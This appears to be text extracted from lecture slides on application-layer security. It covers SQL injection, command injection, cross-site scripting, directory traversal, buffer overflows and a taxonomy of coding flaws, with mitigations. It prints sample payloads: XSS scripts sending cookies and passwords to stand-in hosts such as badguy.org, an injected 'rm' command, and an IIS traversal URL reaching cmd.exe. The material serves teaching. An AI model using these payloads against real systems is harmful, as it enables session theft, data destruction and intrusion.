Application Layer Security Application Presentation Session TCP UDP IP Data Link Physical Protocols File Transfer Protocol (FTP) Telnet Simple Mail Transfer Protocol (SMTP) Hypertext Transfer Protocol (HTTP) Secure Shell (SSH) Protocol Secure Electronic Transmission (SET) Protocol Secure Socket Layer (SSL) Protocol Some Essentials 92% of vulnerabilities are in software --NIST 75% of hacks occur in the application layer --Gartner SQL Injection The injection of a carefully crafted query to deceive the authentication process. Here is a sample query: SELECT * FROM USERS WHERE username= john AND password = 12345 OR 1=1 ; 1
Command Injection The injection is done by supplying the web server with one or more command strings attached to the expected input. Here is a sample: Command Injection And here is the PHP handler for this: <?php system( finger {$_POST[ uname ]} );?> If the input is guest or jdoe, there is no problem. Some information about user guest or jdoe are displayed. What if the input is jdoe; rm rf /home/guest/*.* Cross Site Scripting Cross site scripting (XSS) allows the attacker to inject code into a web page that will be executed when a different user visits that page. Possible because the input was not properly sanitized before using it as an output. Most popular XSS attack is the harvesting of authentication cookies and session management tokens. Cross Site Scripting Two main categories: 1. Reflected Vulnerabilities a script is embedded as a CGI parameter of a URL. http://trustedsite/search.asp?criteria=<script> document.location.replace ( http://badguy.org/steal.cgi? + document.cookie); </script> 2
Cross Site Scripting Two main categories 2. Stored Vulnerabilities occurs when the malicious script is stored on the vulnerable server. It takes advantage of the trust level placed on the vulnerable server to execute its malicious intent. Cross Site Scripting Summary 1. Attacker looks for a site where users must authenticate to gain access and that tracks the user through cookies or session IDs 2. Attacker finds an XSS vulnerable page on that site, say http://trustedsite/account.asp Cross Site Scripting Cross Site Scripting Summary 3. Attacker creates a link to that site, embeds it in an email message, and use the message in a spam 4. Embedded in that special link are codes to copy the victim s cookie back to the attacker. Here is a sample: <img src= http://trustedsite/account.asp?victimcookie= <script>document.location.replace( http://badguy.org/steal.cgi? + document.cookie); </script> > Email: You ve won! Click here! Web Browser: Welcome back! <script> MaliciousScript( ) </script> Vulnerable Web Server Hacker s Computer 3
Summary of XSS Proof-of-Concept Revealing cookies http://host/a.php?variable="><script>document.location ='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> Revealing posted form items <form> action="logoninformation.jsp" method="post" onsubmit="hackimg=new Image; hackimg.src='http://www.malicioussite.com/ + document.forms(1).login.value'+':'+ document.forms(1).password.value;" </form> Typical XSS Payload Formats <img src = "malicious.js"> <script>alert( Hello )</script> <iframe = "malicious.js"> <script>document.write('<img src="http://evil.org/'+document.cookie+'") </script> <a href="javascript: ">click-me</a> Cross Site Scripting Vulnerability Checking 1. For each visible input field, try the following scripts: <script> alert( XSS vulnerable ) </script> <img try=javascript:alert( XSS vulnerable ) > --a popup indicates vulnerability. 2. For each visible variable, enter the following string: ;! -- <XSS_danger>= &{()} --the special characters in the string must be filtered; their unfiltered presence may indicate a possible vulnerability. 4
Mitigating Cross Site Scripting Attack Use the HTTP-Only cookie attribute (available to IE v6 and above). Here is the cookie format: Set-Cookie: <name>=<value>[; <name>=<value>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HttpOnly] Now, the cookie can not be accessed by scripts Mitigating Cross Site Scripting Attack Validate the user-supplied input. In C#, we can use regular expression such as Regex r = new Regex(@"^[\w]{1,40}$"); if (r.match(strname).success) { // String is ok continue processing } else { // String is invalid terminate } Tampering with POST data Directory Traversal Attack Traversing out of the current directory into the parent directory by a series of../. Due to poor input validation. Microsoft s IIS Web Server was exploited in 2000 for failure to validate input encoded in Extended Unicode. Use an HTTP Proxy to intercept POST data and edit it before sending it to the server. http://victim.com/..%c0%af..%c0%af../winnt/system32/ cmd.exe?/c+dir 5
Buffer Overflow - occurs due to the size of data being written in the buffer is larger than the available space causing a possible execution of malicious code. Buffer Overflow int main( ) { int buffer[10]; buffer[20] = 37; } Q: What happens when this is executed? A: Depending on what resides in memory at location buffer[20] Might overwrite user data or code Might overwrite system data or code Simple Buffer Overflow Consider boolean flag for authentication Buffer overflow could overwrite flag allowing anyone to authenticate! buffer F O U R S C Boolean flag In some cases, attacker need not be so lucky as to have overflow overwrite flag FT Memory Organization Text == code Data == static variables Heap == dynamic data Stack == scratch paper Dynamic local variables Parameters to functions Return address text data heap stack low address high address 6
Simplified Stack Example Smashing the Stack low low void func(int a, int b){ char buffer[10]; } void main(){ func(1, 2); } high : buffer ret a b return address What happens if buffer overflows? Program returns to wrong location A crash is likely high??? : buffer overflow ret overflow a b ret SP NOT! Smashing the Stack Smashing the Stack Attacker has a better idea Code injection Attacker can run any code on affected system! low high : evil code ret a b Attacker may not know Address of evil code Location of ret on stack Solutions Precede evil code with NOP landing pad Insert lots of NOP : NOP : NOP evil code ret ret : ret : ret 7
Stack Smashing Summary A buffer overflow must exist in the code Not all buffer overflows are exploitable Things must line up correctly Stack Smashing Example Program asks for a serial number that the attacker does not know Attacker also does not have source code Attacker does have the executable (exe) If exploitable, attacker can inject code Trial and error likely required (help available online ) Also possible to overflow the heap Program quits on incorrect serial number Example By trial and error, attacker discovers an apparent buffer overflow Example Next, disassemble bo.exe to find Note that 0x41 is A Looks like ret overwritten by 2 bytes! The goal is to exploit buffer overflow to jump to address 0x401034 8
Example Find that 0x401034 is @^P4 in ASCII Example Reverse the byte order to 4^P@ and Byte order is reversed? Why? X86 processors are little-endian Success! We ve bypassed serial number check by exploiting a buffer overflow Overwrote the return address on the stack Example Example Attacker did not require access to the source code Only tool used was a disassembler to determine address to jump to Can find address by trial and error Necessary if attacker does not have exe For example, a remote attack Source code of the buffer overflow Flaw easily found by attacker Even without the source code! 9
Stack Smashing Prevention 1st choice: employ non-executable stack No execute NX bit (if available) Seems like the logical thing to do, but some real code executes on the stack! (Java does this) 2nd choice: use safe languages (Java, C#) 3rd choice: use safer C functions For unsafe functions, there are safer versions For example, strncpy instead of strcpy Taxonomy of Software Security Errors 1. Input Validation and Representation Buffer Overflow Command Injection string val=environment.getenvironmentvariable("apphome"); string cmd = val + INITCMD; ProcessStartInfo startinfo = new ProcessStartInfo(cmd); Process.Start(startInfo); Cross Site Scripting Log Forging string val = (string)session["val"]; try { int value = Int32.Parse(val); } catch (FormatException fe) { log.info("failed to parse val= " + val); } Taxonomy of Software Security Errors 1. Input Validation and Representation Path Manipulation String rname = Request.Item("reportName"); File.delete("C:\\users\\reports\\" + rname); Suppose the input is..\\..\\windows\\system32\\krnl386.exe SQL Injection Setting Manipulation--do not allow untrusted data to control sensitive values list.set_capacity( (int) Request.get_Item("numItems") ); Taxonomy of Software Security Errors 2. API Abuse Dangerous functions Heap inspection Do not use realloc() to resize buffers containing sensitive information Exception handling Unchecked return values FileInputStream fis; byte[] bytearray = new byte[1024]; for (Iterator i=users.iterator(); i.hasnext();) { String username = (String) i.next(); String pfilename = PFILE_ROOT + "/" + username; FileInputStream fis = new FileInputStream(pFileName); fis.read(bytearray); // the file is always 1k bytes fis.close(); processpfile(username, bytearray); } 10
Taxonomy of Software Security Errors 3. Security Features Insecure Randomness Use cryptographic PRNG rather than statistical PRNG Missing or weak access control conn = new SqlConnection(_ConnectionString); conn.open(); int16 id = System.Convert.ToInt16(invoiceID.Text); SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn); query.parameters.addwithvalue("@id", id); SqlDataReader objreader = objcommand.executereader(); Password management Hardcoded passwords or cryptographic keys Taxonomy of Software Security Errors 4. Time and State Failure to begin a new session upon authentication Insecure temporary files File access race condition (TOCTOU) if (!access(file,w_ok)) { f = fopen(file,"w+"); operate(f);... } else { fprintf(stderr,"unable to open file %s.\n",file); } Taxonomy of Software Security Errors 5. Handling Errors Poorly or Not at All Poor Error Handling Return inside finally Empty catch block Unexpected behavior may go unnoticed Overly broad catch and throws blocks Taxonomy of Software Security Errors 6. Code Quality Utilization of deprecated code Uninitialized variable Referencing memory after deallocation Portability Flaw Leads to inconsistent implementation from one platform to another Memory Leak Leads to resource exhaustion 11
Taxonomy of Software Security Errors 7. Encapsulation Comparing classes by name Information leak through HTML comments Data leaking between users Cloneable objects Public data being assigned to private array field People Layer Security People Application Presentation Session TCP UDP IP Data Link Physical Ten Immutable Laws of Security The 10 Immutable Laws of Security 1. If a bad guy can persuade you to run his program on your computer, it s not your computer anymore. im mu ta ble (ĭ-myōō'tə-bəl) adj. Not subject or susceptible to change. American Heritage Dictionary 12
Ten Immutable Laws of Security Ten Immutable Laws of Security 2. If a bad guy can alter the operating system on your computer, it s not your computer anymore. 3. If a bad guy has unrestricted physical access to your computer, it s not your computer anymore. Ten Immutable Laws of Security Ten Immutable Laws of Security 4. If you allow a bad guy to upload programs to your website, it s not your website any more. 5. Weak passwords trump strong security. 13
Ten Immutable Laws of Security Ten Immutable Laws of Security 6. A machine is only as secure as the administrator is trustworthy. 7. Encrypted data is only as secure as the decryption key. Ten Immutable Laws of Security Ten Immutable Laws of Security 8. An out-of-date virus scanner is only marginally better than no virus scanner at all. 9. Absolute anonymity isn t practical, in real life or on the Web. 14
Ten Immutable Laws of Security 10. Technology is not a panacea. Questions??? 15